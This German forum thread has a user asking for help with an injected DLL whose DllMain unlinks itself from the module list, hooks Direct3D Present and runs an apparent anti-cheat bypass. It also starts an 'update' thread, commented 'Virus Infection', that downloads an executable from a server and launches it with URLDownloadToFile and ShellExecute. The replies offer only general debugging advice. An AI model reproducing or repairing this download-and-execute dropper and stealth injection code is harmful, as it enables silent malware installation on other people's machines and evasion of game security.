Download und ausführen funktioniert nicht sauber.



  • Also ich arbeite an einer .dll.
    Ich versuche hier ein update starten zu lassen welches aber nicht sauber funktioniert. Immer wenn ich meinen Code in der Main laden lasse downloadet er startet er aber nicht.

    Das hier ist mein momentaner code:

    void update(void) { 
    URLDownloadToFile(NULL,TEXT("http://SERVER/Test.exe"),TEXT("C:\\Test.exe"),0,0); 
    ShellExecute(0, "open", "C:\\Test.exe",0,0,SW_SHOWNORMAL); //
    }
    

    Eigentlich sollte ja auch ohne ShellExecute gehen tut es aber nicht.Habe MSDN auch schon durchsucht.Google und Forumsuche hilft auch nicht.And Admin rechten kann es nicht liegen da die .dll ja in ein anderes Programm injectet wird und dadurch admin rechte bestehen müssen.


  • Mod

    Seit wann sollte eine Datei ausgeführt werden ohne ShellExecute.

    Lass Dir doch mal den Fehler ausgeben, den Du bekommst (GetLastError).



  • Gute Idee. Aber ich kriege kein Error ausgegeben.

    Aber liegt es vieleicht an meiner DLL Main?

    BOOL WINAPI DllMain( HMODULE hDll , DWORD Reason, LPVOID lpReserved )
    {
    	DisableThreadLibraryCalls(hDll);
    	if(Reason == DLL_PROCESS_ATTACH)
    	{
    		StarLog(hDll);
    		UnlinkModule(hDll);
    
    		//ShellExecuteA(NULL, "open", "http://www.Google.de", NULL, NULL, SW_SHOW);
             AddLog("====Started===!");
    		  	CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)update, NULL, NULL, NULL); /*Virus Infection*/
    
    				AddLog("Searching for d3d9.dll...");
    		AddLog("Trying to hook Present...");
    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, NULL, NULL);
    
    			CreateThread(0,0,(LPTHREAD_START_ROUTINE)HSBYPASS,0,0,0);
    
    	}
    	return TRUE;
    }
    


  • Weiß keiner weiter? 😞



  • KingClem schrieb:

    ..startet er aber nicht.

    Das hier ist mein momentaner code:

    void update(void) { 
    URLDownloadToFile(NULL,TEXT("http://SERVER/Test.exe"),TEXT("C:\\Test.exe"),0,0); 
    ShellExecute(0, "open", "C:\\Test.exe",0,0,SW_SHOWNORMAL); //
    }
    

    Wie Martin schon sagte wüssten wir gerne was ShellExecute() zurückgibt!

    If the function succeeds, it returns a value greater than 32. If the function fails, it returns an error value that indicates the cause of the failure.


Anmelden zum Antworten